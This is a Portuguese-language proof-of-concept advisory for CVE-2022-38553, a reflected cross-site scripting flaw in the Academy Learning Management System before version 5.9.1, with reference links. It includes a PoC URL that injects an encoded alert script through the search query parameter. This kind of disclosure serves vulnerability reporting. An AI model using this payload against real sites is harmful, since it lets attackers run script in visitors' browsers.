4websecurity/cve-2022-38553CROSS SITE SCRIPTING (XSS) EM "ACADEMY LEARNING MANAGEMENT SYSTEM" - PROVA DE CONCEITO (POC) CVE-2022-38553
CROSS SITE SCRIPTING (XSS) NO "ACADEMY LEARNING MANAGEMENT SYSTEM" < v5.9.1 - PROVA DE CONCEITO (POC) CVE-2022-38553
Título do Exploit: ACADEMY LEARNING MANAGEMENT SYSTEM < v5.9.1 - Cross Site Scripting (XSS)
CVE ID: CVE-2022-38553
Autor do Exploit: 4websecurity
Página web do autor: https://4websecurity.com
Data: 16-08-2022
Página inicial do fornecedor: https://creativeitem.com
Versão: até 5.9.1
Página de demonstração do fornecedor: https://demo.creativeitem.com/academy/home/
Referência:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38553
https://www.openbugbounty.org/reports/2849933/
https://cve.report/CVE-2022-38553
https://nvd.nist.gov/vuln/detail/CVE-2022-38553
https://youtu.be/yFiZffHoeKs
Campo de vulnerabilidade:
A vulnerabilidade de Cross-site scripting (XSS) no ACADEMY LEARNING MANAGEMENT SYSTEM <5.9.1 permite que atacantes remotos injetem script web arbitrário ou HTML através do parâmetro search?query.
Prova de Conceito (POC):
https://example.com/search?query=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
Payload:
">
VÍDEO DA POC:
Risco de Segurança:
Esta vulnerabilidade de segurança permite executar código JavaScript arbitrário no navegador do usuário se eles acessarem URL preparada por atacantes.
